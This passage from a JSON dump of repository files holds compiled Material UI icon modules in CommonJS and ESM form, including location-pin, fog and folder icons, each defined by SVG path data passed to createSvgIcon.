    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'FmdBadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'FmdBadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m1 13h-2v-2h2zm0-4h-2V6h2z\"\n}), 'FmdBadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m1 13h-2v-2h2zm0-4h-2V6h2z\"\n}), 'FmdBadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v-2h-2zm0-4h2V6h-2zm1-9c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 17.33c-4.05-3.7-6-6.79-6-9.14C6 6.57 8.65 4 12 4s6 2.57 6 6.2c0 2.34-1.95 5.44-6 9.13\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19.33c4.05-3.7 6-6.79 6-9.14C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.13M11 6h2v5h-2zm0 7h2v2h-2z\",\n  opacity: \".3\"\n}, \"1\")], 'FmdBadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v-2h-2zm0-4h2V6h-2zm1-9c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 17.33c-4.05-3.7-6-6.79-6-9.14C6 6.57 8.65 4 12 4s6 2.57 6 6.2c0 2.34-1.95 5.44-6 9.13\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19.33c4.05-3.7 6-6.79 6-9.14C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.13M11 6h2v5h-2zm0 7h2v2h-2z\",\n  opacity: \".3\"\n}, \"1\")], 'FmdBadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGood.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'FmdGood');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGood.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'FmdGood');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGoodOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-1.8C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'FmdGoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGoodOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-1.8C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'FmdGoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGoodRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'FmdGoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGoodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'FmdGoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGoodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'FmdGoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGoodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'FmdGoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGoodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14C18 6.57 15.35 4 12 4m0 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 17.33c-4.05-3.7-6-6.79-6-9.14C6 6.57 8.65 4 12 4s6 2.57 6 6.2c0 2.34-1.95 5.44-6 9.13\"\n}, \"1\")], 'FmdGoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdGoodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14C18 6.57 15.35 4 12 4m0 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 17.33c-4.05-3.7-6-6.79-6-9.14C6 6.57 8.65 4 12 4s6 2.57 6 6.2c0 2.34-1.95 5.44-6 9.13\"\n}, \"1\")], 'FmdGoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Foggy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48m.08 9.99c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-11 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-1-3h9c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1m4 3h7c.55 0 1 .45 1 1s-.45 1-1 1h-7c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'Foggy');"
  },
  {
    "path": "packages/mui-icons-material/lib/Foggy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48m.08 9.99c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-11 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-1-3h9c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1m4 3h7c.55 0 1 .45 1 1s-.45 1-1 1h-7c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'Foggy');"
  },
  {
    "path": "packages/mui-icons-material/lib/Folder.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8z\"\n}), 'Folder');"
  },
  {
    "path": "packages/mui-icons-material/lib/Folder.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8z\"\n}), 'Folder');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6H1v13c0 1.1.9 2 2 2h17v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4h-7l-2-2H7c-1.1 0-1.99.9-1.99 2L5 15c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2\"\n}, \"1\")], 'FolderCopy');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6H1v13c0 1.1.9 2 2 2h17v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4h-7l-2-2H7c-1.1 0-1.99.9-1.99 2L5 15c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2\"\n}, \"1\")], 'FolderCopy');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h17v2H3c-1.1 0-2-.9-2-2V6h2zM23 6v9c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2l.01-11c0-1.1.89-2 1.99-2h5l2 2h7c1.1 0 2 .9 2 2M7 15h14V6h-7.83l-2-2H7z\"\n}), 'FolderCopyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h17v2H3c-1.1 0-2-.9-2-2V6h2zM23 6v9c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2l.01-11c0-1.1.89-2 1.99-2h5l2 2h7c1.1 0 2 .9 2 2M7 15h14V6h-7.83l-2-2H7z\"\n}), 'FolderCopyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6c-.55 0-1 .45-1 1v12c0 1.1.9 2 2 2h16c.55 0 1-.45 1-1s-.45-1-1-1H3V7c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4h-7l-1.41-1.41c-.38-.38-.89-.59-1.42-.59H7c-1.1 0-1.99.9-1.99 2L5 15c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2\"\n}, \"1\")], 'FolderCopyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6c-.55 0-1 .45-1 1v12c0 1.1.9 2 2 2h16c.55 0 1-.45 1-1s-.45-1-1-1H3V7c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4h-7l-1.41-1.41c-.38-.38-.89-.59-1.42-.59H7c-1.1 0-1.99.9-1.99 2L5 15c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2\"\n}, \"1\")], 'FolderCopyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6H1v15h19v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 4h-9l-2-2H5.01L5 17h18z\"\n}, \"1\")], 'FolderCopySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6H1v15h19v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 4h-9l-2-2H5.01L5 17h18z\"\n}, \"1\")], 'FolderCopySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.17 4H7v11h14V6h-7.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4h-7l-2-2H7c-1.1 0-1.99.9-1.99 2L5 15c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 11H7V4h4.17l2 2H21z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6H1v13c0 1.1.9 2 2 2h17v-2H3z\"\n}, \"2\")], 'FolderCopyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderCopyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.17 4H7v11h14V6h-7.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4h-7l-2-2H7c-1.1 0-1.99.9-1.99 2L5 15c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 11H7V4h4.17l2 2H21z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6H1v13c0 1.1.9 2 2 2h17v-2H3z\"\n}, \"2\")], 'FolderCopyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDelete.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 8v10c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2l.01-12c0-1.1.89-2 1.99-2h6l2 2h8c1.1 0 2 .9 2 2m-5.5 2V9h-2v1H12v1.5h1v4c0 .83.67 1.5 1.5 1.5h2c.83 0 1.5-.67 1.5-1.5v-4h1V10zm0 5.5h-2v-4h2z\"\n}), 'FolderDelete');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDelete.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 8v10c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2l.01-12c0-1.1.89-2 1.99-2h6l2 2h8c1.1 0 2 .9 2 2m-5.5 2V9h-2v1H12v1.5h1v4c0 .83.67 1.5 1.5 1.5h2c.83 0 1.5-.67 1.5-1.5v-4h1V10zm0 5.5h-2v-4h2z\"\n}), 'FolderDelete');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDeleteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 10V9h-2v1H12v1.5h1v4c0 .83.67 1.5 1.5 1.5h2c.83 0 1.5-.67 1.5-1.5v-4h1V10zm0 5.5h-2v-4h2zM20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m0 12H4V6h5.17l2 2H20z\"\n}), 'FolderDeleteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDeleteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 10V9h-2v1H12v1.5h1v4c0 .83.67 1.5 1.5 1.5h2c.83 0 1.5-.67 1.5-1.5v-4h1V10zm0 5.5h-2v-4h2zM20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m0 12H4V6h5.17l2 2H20z\"\n}), 'FolderDeleteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDeleteRounded.js",
